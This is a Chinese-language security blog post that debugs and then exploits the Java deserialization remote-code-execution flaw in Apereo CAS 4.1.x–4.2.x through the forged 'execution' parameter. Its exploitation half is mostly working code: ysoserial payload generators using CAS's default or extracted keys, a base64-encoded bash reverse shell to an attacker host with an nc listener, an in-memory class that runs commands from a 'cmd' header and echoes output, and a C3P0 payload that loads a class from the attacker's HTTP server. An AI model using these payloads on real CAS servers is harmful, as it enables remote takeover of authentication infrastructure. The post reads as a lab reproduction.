前言
接上一章调试环境搭建。本章将展开对Apereo Cas4.x详细分析和利用
一、调试分析
Apereo Cas 4.1.X~4.1.6
抓取登录数据包
Apereo CAS具体开发框架流程咱也不熟悉,从数据包中就关注两点:POST传参和execution;
刚好做过简单的javaweb开发,知道在servlet层会存在doPost()方法接收request请求。
那么首先需要找到doPost()所在类,才能往下追踪值的传递,而execution被封装在request请求中,追踪request传递即参数提取动作即可。
根据已搭建好的运行环境,Debug模式运行
在登录页面随便输入账号密码进行登录
接着F7进去查看,调用了processRequest方法,request请求继续丢给doService()方法处理,此处doService()下个断点,F9立刻跳到当前下的断点
F7跟进去查看,发现调用了DispatcherServlet类的doService方法
标个断点继续往下跟,request经过checkMultipart处理返回给processedRequest,盯着它processedRequest,在下面调用了handle()方法进行处理
跟进去发现引用的是FlowHandlerAdapter类的handle方法,这里关注调用的getFlowExecutionKey()和resumeExecution()方法
通过getFlowExecutionKey(request)方法获取前端post传来的execution的值
FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);
调用了resumeExecution()方法进行处理flowExecutionKey,继续跟进该方法
resumeExecution为FlowExecutorImpl实现类的方法。
方法中先调用了parseFlowExecutionKey方法处理
跟进查看parseFlowExecutionKey
继续跟进查看parse方法,发现通过”_”字符分割字符串flowExecutionKey为uuid和base64编码的两部分内容,最后查看返回值是我们追踪的数据
FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);
接着看getFlowExecution方法,通过getData()函数将key转成字节流,丢到decode方法解密处理
ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);
查看decode(),调用Decrypt方法解密,最后通过readObject读取对象进行反序列化输出,触发漏洞。
存在默认的加密密钥
当前类中同时定义了encode()方法,攻击者可通过它生成恶意对象。
整个解密执行过程大概酱紫:
通过encode方法生成加密的字节数组并进行base64编码,头部拼接随机生成uuid值,因为存在默认的加密密钥值,导致攻击者可伪造execution值;而项目依赖库中存在commons-collections4-4.0.jar,该版本存在反序列化漏洞,通过精心构建execution值,可实现远程命令执行。
Aperao Cas 4.1.7~4.2.X
直到org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法的流程都一样,在加解密部分发生了变化,直接上图:
查看cas.properties文件,看到4.2.7版本中并不存在默认的key,且名称也发生变化,用的是webflow.encryption.key和webflow.signing.key
在BinaryCipherExecutor类中,检查这两个值,当不存在的时候,就会随机生成加密的key
感兴趣可以在这里下断点看看生成的key和singkey
当decode时候,可以看到它随机生成的16位key
二、漏洞利用
4.1.x~4.1.6
(1)远程命令执行
根据前面的过程分析,随机生成uuid
因为漏洞项目中存在commons-collections4-4.0.jar,所以需要调用ysoserial中的CommonsCollections4文件,引用的时候直接定义变量,赋值该类名即可
确定payload类型后与要执行的命令通过makePayloadObject方法生成恶意对象
借助org.jasig.spring.webflow.plugin. EncryptedTranscoder#encode方法将恶意对象序列化并进行加密、编码,拼接uuid组成恶意的execution值,发包达到命令执行效果。
生成Payload的 代码:
public class app{
public static void main(String[] args) throws IOException {
try {
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
EncryptedTranscoder et = new EncryptedTranscoder();
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
(2)Linux下,反弹shell
在线工具(http://www.jackson-t.ca/runtime-exec-payloads.html)生成反弹shell
其中192.168.3.35为模拟公网上的攻击机,6666为端口号
将生成的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}再转成payload
先在192.168.3.35机子上开启监听
Kali上nc -lvp 6666
接着放包
反弹成功。
(3)命令执行并回显
根据大佬的说法以及对比网上大佬提供的代码
可以看成三部分
代码:
public class CasExp{
public CasExp() throws IOException{
ExternalContext externalContext = ExternalContextHolder.getExternalContext();
Object request = externalContext.getNativeRequest();
Object response = externalContext.getNativeResponse();
HttpServletRequest httpServletRequest = (HttpServletRequest)request;
HttpServletResponse httpServletResponse = (HttpServletResponse)response;
String Command = httpServletRequest.getHeader("cmd");
Process proc = Runtime.getRuntime().exec(Command);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream(), "utf-8"));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null){
stringBuffer.append(line).append("
");
}
String result = stringBuffer.toString();
ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
servletOutputStream.write(result.getBytes());
servletOutputStream.flush();
servletOutputStream.close();
}
}
第一是获取request请求,解析包中的自定义属性cmd
然后去exec执行。因为第一次接触,不熟悉它的用法,然后*度学习exec用法,再单独写个方法去测试。
最后部分就是获取exec执行结果返回servlet层,response到前端。
接着要如何引用CasExp类?
将payloadsutilGadgets.java文件createTemplatesImpl方法中的StubTransletPayload改成自定义的CasExp,注释这里的cmd操作
下面简单去分析一下,先从前面的自定义的main开始
使用ObjectPayload.Utils.makePayloadObject方法生成对象,跟进查看(选中makePayloadObject方法ctlr+鼠标左键单击)
可以看到payloadType就是我们传的“CommonsCollections4”(CC4),调用ysoserial中存在的该类
通过newInstance方法实例化CC4,所以下面的getObject方法是CC4中的,用的不是当前所在类的类方法
查看getObject方法, 通过Gadgets.createTemplatesImpl创建templates类存储危险的代码
跟进
获取ClassPool 容器,在容器中添加我们自定义的CasExp类,从而生成恶意的对象。
分析结束,试试漏洞回显之旅
Command变量空字符即可
在请求头中添加cmd:命令,cmd:ipconfig
4.1.7~4.2.x
既然加密方法调用不一样,先断点调试ysoserial中的encrypt方法用的是?
毫无疑问明显不能直接用了
Key随机生成,只能自己先编码生成,然后写到cas.properties文件中才行(这个漏洞有点鸡肋了,除非通过任意文件下载cas.properties获取密钥)
在BinaryCipherExecutor中verifyAndSetKeys方法中生成key行代码下断点,debug到断点处,将生成的signingKeyToUse和encryptionSecretKey拿出来。
写入靶机配置文件中
这两项虽然对结果没有影响,为方便测试还得设置了它支持http
将项目部署在tomcat中运行。(不会打包就网上直接下载cas-server-webapp-4.2.7项目源码,丢到webapps下面行了。如果自己打包的war,在tomcat下直接跑会报错,需要将cas.properties文件拷贝到项目的WEB-INF目录下,同时修改propertyFileConfigurer.xml文件中的location,指向cas.properties)
开始复现,根据加解密规则,写了段代码
public static void main(String[] args) throws IOException {
try {
String type = "C3P0";
String command = "http://192.168.200.106:6666/:CasExp42x";
String id = UUID.randomUUID().toString();
Object obj =
ObjectPayload.Utils.makePayloadObject(type, command);
BinaryCipherExecutor
binaryCipherExecutor = new BinaryCipherExecutor("gJAmUFnxIsPKZDMF", "U0wsU1tdvKo-tsWEe5cGx6egiSgnIZF9DxH-OPFxfYN1ko8GVsSfUt5DIGMMznMLyKM1ZHgefsRfL7rpxlu_Xg");
ByteArrayOutputStream
outBuffer = new ByteArrayOutputStream();
ObjectOutputStream
out = null;
try{
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
out.writeObject(obj);
}finally {
if (out != null) {
out.close();
}
}
byte[] btobj =
outBuffer.toByteArray();
byte[] code =
binaryCipherExecutor.encode(btobj);
String payload =
Base64.getEncoder().encodeToString(code);
String data =
URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
BinaryCipherExecutor构造器中的两个参数为cas.properties文件中webflow.encryption.key、webflow.signing.key的值。
因为该版本没有CommonsCollections4包了,而存在C3P0包,所以通过它进行利用,里面的IP为假定的公网服务器IP(这里是我的kali),端口随意,不冲突即可,端口后面的CasExp42x为kali上的一个class文件
为什么command的值要这种格式?
查看payloads下C3P0文件,可以看到以最后一个冒号切割字符串,获取攻击者的公网ip和类名(实例化恶意对象执行命令)
将CasExp42x.java编译
代码:
public class CasExp42x {
public CasExp42x(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"cmd.exe","/C","calc.exe"}
);
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
CasExp42x e = new CasExp42x();
}
}
然后将CasExp42x.class文件拷贝到kali中
注意:要使用BinaryCipherExecutor类必须导入cas-server-core-util-4.2.7.jar包,而ysoserial中默认没有,所以以防其它错误,干脆将apereo cas4.2.7项目中的lib复制到ysoserial根目录下
然后在idea中导入这些依赖包,不会导的看前面的环境搭建内容。
运行app文件,生成execution值
在kali上监听开设的http服务端口6666
Python3 -m http.server 6666
接着抓包替换execution值,发送
成功远程加载kali上的CasExp42x.class文件
可以看到监听记录有
踩坑:
1、一开始根据vulhub上的方式复现,生成的ch0mieBy文件,以为是在靶机上根盘下的二级子目录tmp下
还以为是命令执行不成功,但尝试反弹shell命令又能被成功执行。。。。
所以猜想此tmp非彼tmp
反手就来个find查询找正主
Find / -name ch0mieBy
好家伙,原来是这个tmp。
2、过程中,有监听记录,但计算机并没有弹出来
去查看,tomcat日志文件
提示找不到路径。神奇,竟然会有我本地ysoserial项目的路径信息
排查结果是class文件有问题,回头看CasExp42x.java代码
因为CasExp42x.java文件直接在idea中创建的,所以包含了项目路径:
package ysoserial.ApereoCasAttack.exploit
删掉,重新生成class文件替换即可。
如有不对的地方,望各位大佬指正。
欢迎各位大佬关注公众号”Fighter安全团队“
文章都是第一时间发布至公众号,让我们共同学习相互进步
参考链接
http://0kam1.top/index.php/2020/08/01/29/
https://www.freebuf.com/vuls/226149.html